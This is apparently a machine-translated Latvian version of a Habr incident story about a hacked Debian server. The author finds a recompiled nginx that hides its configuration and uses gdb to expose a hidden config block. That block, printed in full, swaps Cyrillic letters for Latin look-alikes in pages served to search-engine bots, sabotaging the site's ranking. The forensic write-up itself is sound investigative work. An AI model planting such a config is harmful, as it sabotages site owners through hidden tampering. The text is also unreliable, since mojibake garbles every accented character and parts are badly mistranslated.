NepatÄ«kamÄkais stÄsts notika ar vienu no maniem draugiem. Bet, lai cik nepatÄ«kami tas izrÄdÄ«jÄs Mihailam, man tas bija tikpat izklaidÄjoÅ”i.
Man jÄsaka, ka mans draugs ir diezgan UNIX-lietotÄjs: var pats instalÄt sistÄmu mysql, php un veiciet vienkÄrÅ”us iestatÄ«jumus nginx.
Un viÅam ir ducis vai pusotra vietÅu, kas veltÄ«tas celtniecÄ«bas instrumentiem.
Viena no Ŕīm vietnÄm, kas veltÄ«ta motorzÄÄ£iem, stingri atrodas meklÄtÄjprogrammu TOPÄ. Å Ä« vietne ir nekomerciÄla atsauksmju sniedzÄja, taÄu kÄds ir ieradies tai uzbrukt. Tas DDoS, pÄc tam brutÄlu spÄku, tad viÅi raksta neÄ·Ä«trus komentÄrus un sÅ«ta pÄrkÄpumus mitinÄtÄjam un RKN.
PÄkÅ”Åi viss nomierinÄjÄs, un Å”is miers izrÄdÄ«jÄs nelabs, un vietne sÄka pakÄpeniski atstÄt meklÄÅ”anas rezultÄtu augÅ”ÄjÄs rindas.
Tas bija teiciens, tad pats administratora stÄsts.
Tuvojas gulÄtieÅ”anas laiks, kad zvanÄ«ja telefons: āSan, vai tu nepaskatÄ«sies uz manu serveri? Man Ŕķiet, ka esmu uzlauzta, es to nevaru pierÄdÄ«t, bet sajÅ«ta mani nepamet jau treÅ”o nedÄļu. VarbÅ«t ir pienÄcis laiks man ÄrstÄties no paranojas?
TÄlÄk sekoja pusstundu ilga diskusija, ko var rezumÄt Å”Ädi:
- augsne uzlauŔanai bija diezgan auglīga;
- uzbrucÄjs varÄtu iegÅ«t superlietotÄja tiesÄ«bas;
- uzbrukums (ja tas notika) bija Ä«paÅ”i vÄrsts uz Å”o vietni;
- problÄmzonas ir izlabotas, un jums tikai jÄsaprot, vai ir bijusi iespieÅ”anÄs;
- uzlauÅ”ana nevarÄja ietekmÄt vietnes kodu un datu bÄzes.
AttiecÄ«bÄ uz pÄdÄjo punktu.
PasaulÄ skatÄs tikai baltÄ priekÅ”gala IP. Nav apmaiÅas starp aizmugursistÄmÄm un priekÅ”galu, izÅemot http(s), lietotÄji/paroles atŔķiras, atslÄgas netika apmainÄ«tas. PelÄkÄs adresÄs visi porti, izÅemot 80/443, ir slÄgti. White backend IP ir zinÄmi tikai diviem lietotÄjiem, kuriem Mihails pilnÄ«bÄ uzticas.
UzstÄdÄ«ts priekÅ”galÄ Debian 9 un brÄ«dÄ«, kad tiek veikts zvans, sistÄma tiek izolÄta no pasaules ar ÄrÄju ugunsmÅ«ri un apturÄta.
"Labi, dodiet man piekļuvi," es nolemju atlikt miegu uz stundu. "Es redzÄÅ”u savÄm acÄ«m."
Å eit un tÄlÄk:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
MeklÄ iespÄjamu uzlauÅ”anu
Vispirms es startÄju serveri glÄbÅ”anas režīms. UzmontÄju diskus un pÄrŔķiru tos autoritÄte-baļķi, vÄsture, sistÄmas žurnÄlus utt., ja iespÄjams, pÄrbaudu faila izveides datumus, lai gan saprotu, ka parasts krekeris bÅ«tu pÄc sevis āuzslaucÄ«jisā, un MiÅ”a jau bija daudz ānomÄ«dÄ«jusiesā, kamÄr viÅÅ” sevi meklÄja. .
StartÄju normÄlÄ režīmÄ, vÄl Ä«sti nesaprotot, ko meklÄt, pÄtu konfigurÄcijas. PirmkÄrt, mani interesÄ nginx tÄ kÄ kopumÄ frontendÄ nav nekÄ cita, izÅemot to.
KonfigurÄcijas ir mazas, labi strukturÄtas duci failos, es tÄs vienkÄrÅ”i skatos kaÄ·is'ak pa vienam. Å Ä·iet, ka viss ir tÄ«rs, bet nekad nevar zinÄt, vai esmu kaut ko palaidis garÄm ietvert, ļaujiet man izveidot pilnu sarakstu:
$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful
Es nesapratu: "Kur ir saraksts?"
$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Otrs jautÄjums ir pievienots saraksta jautÄjumam: "KÄpÄc tik sena nginx versija?"
TurklÄt sistÄma uzskata, ka ir instalÄta jaunÄkÄ versija:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server
Es zvanu:
- MiÅ”a, kÄpÄc tu saliku no jauna nginx?
- Pagaidi, es pat nezinu, kÄ to izdarÄ«t!
- Labi, ej gulÄt...
Nginx tas ir skaidri pÄrbÅ«vÄts, un ieraksta izvade, izmantojot ā-Tā, kÄda iemesla dÄļ ir paslÄpta. Par uzlauÅ”anu vairs nav Å”aubu un var vienkÄrÅ”i pieÅemt to un (tÄ kÄ MiÅ”a tik un tÄ nomainÄ«ja serveri pret jaunu) uzskatÄ«t problÄmu par atrisinÄtu.
Un tieÅ”Äm, kopÅ” kÄds ieguva tiesÄ«bas sakneAk, tad ir tikai jÄga darÄ«t sistÄmas pÄrinstalÄÅ”ana, un bija bezjÄdzÄ«gi meklÄt, kas tur par vainu, bet Å”oreiz ziÅkÄre uzvarÄja miegu. KÄ mÄs varam uzzinÄt, ko viÅi gribÄja no mums slÄpt?
MÄÄ£inÄsim izsekot:
$ strace nginx -T
MÄs to skatÄmies, trasÄ acÄ«mredzami ir par maz lÄ«niju a la
write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Izklaidei salÄ«dzinÄsim atklÄjumus.
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Es domÄju, ka daļa no koda /src/core/nginx.c
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
tika nogÄdÄts formÄ:
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
vai
case 't':
ngx_test_config = 1;
break;
case 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
tÄpÄc saraksts ar "-T" netiek parÄdÄ«ts.
Bet kÄ mÄs varam apskatÄ«t mÅ«su konfigurÄciju?
Ja mana doma ir pareiza un problÄma ir tikai mainÄ«gajÄ ngx_dump_config mÄÄ£inÄsim to instalÄt, izmantojot gdb, par laimi ir atslÄga --ar-cc-opt -g klÄt un ceru, ka optimizÄcija -O2 tas mums nekaitÄs. TajÄ paÅ”Ä laikÄ, jo es nezinu, kÄ ngx_dump_config varÄtu tikt apstrÄdÄts gadÄ«jums "T":, mÄs Å”o bloku nesauksim, bet instalÄsim, izmantojot gadÄ«jums "t":
KÄpÄc varat izmantot gan ā-tā, gan ā-TāBloku apstrÄde if(ngx_dump_config) notiek iekÅ”Ä if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "configuration file %s test is successful",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
for (i = 0; i < cycle->config_dump.nelts; i++) {
ngx_write_stdout("# configuration file ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Protams, ja kods tiek mainÄ«ts Å”ajÄ daļÄ, nevis iekÅ”Ä gadÄ«jums "T":, tad mana metode nedarbosies.
PÄrbaudÄ«t nginx.confJau eksperimentÄli atrisinot problÄmu, tika konstatÄts, ka ļaunprogrammatÅ«ras darbÄ«bai ir nepiecieÅ”ama minimÄla konfigurÄcija nginx veids:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
RakstÄ mÄs to izmantosim Ä«suma labad.
Palaidiet atkļūdotÄju
$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188 src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map Š¾:$sign_user_agent:$sign_uri $sign_o
{
Š¾:1:0 o;
default Š¾;
}
map Š°:$sign_user_agent:$sign_uri $sign_a
{
Š°:1:0 a;
default Š°;
}
sub_filter_once off;
sub_filter 'Š¾' $sign_o;
sub_filter 'Š°' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:
[Inferior 1 (process 32581) exited normally]
(gdb) quit
Darbības:
- iestatiet funkcijas pÄrtraukuma punktu Galvenais ()
- palaidiet programmu
- mainiet mainÄ«gÄ vÄrtÄ«bu, kas nosaka konfigurÄcijas izvadi ngx_dump_config=1
- turpinÄt/beigt programmu
KÄ redzam, Ä«stÄ konfigurÄcija atŔķiras no mÅ«su, mÄs no tÄs izvÄlamies parazÄ«tisko gabalu:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map Š¾:$sign_user_agent:$sign_uri $sign_o
{
Š¾:1:0 o;
default Š¾;
}
map Š°:$sign_user_agent:$sign_uri $sign_a
{
Š°:1:0 a;
default Š°;
}
sub_filter_once off;
sub_filter 'Š¾' $sign_o;
sub_filter 'Š°' $sign_a;
ApskatÄ«sim Å”eit notiekoÅ”o secÄ«bÄ.
ApÅÄmÄ«gs User-Agentyandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Pakalpojuma lapas ir izslÄgtas WordPress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Un tiem, kas atbilst abiem iepriekÅ” minÄtajiem nosacÄ«jumiem
map Š¾:$sign_user_agent:$sign_uri $sign_o
{
Š¾:1:0 o;
default Š¾;
}
map Š°:$sign_user_agent:$sign_uri $sign_a
{
Š°:1:0 a;
default Š°;
}
tekstÄ html- lapas mainÄs 'O' par 'o' Šø "A" par "a":
sub_filter_once off;
sub_filter 'Š¾' $sign_o;
sub_filter 'Š°' $sign_a;
TieÅ”i tÄ, vienÄ«gais smalkums ir tas 'a' != 'a' tieÅ”i kÄ 'o'!= 'o':
TÄdÄjÄdi meklÄtÄjprogrammu robotprogrammatÅ«ra parastÄ 100% kirilicas teksta vietÄ saÅem modificÄtu atkritumu, kas atŔķaidÄ«ts ar latÄ«Åu valodu "a" Šø 'o'. Es neuzdroÅ”inos apspriest, kÄ tas ietekmÄ SEO, taÄu maz ticams, ka Å”Äda burtu juceklis pozitÄ«vi ietekmÄs pozÄ«cijas meklÄÅ”anas rezultÄtos.
Ko lai saka, puiÅ”i ar iztÄli.
atsauces
Avots: www.habr.com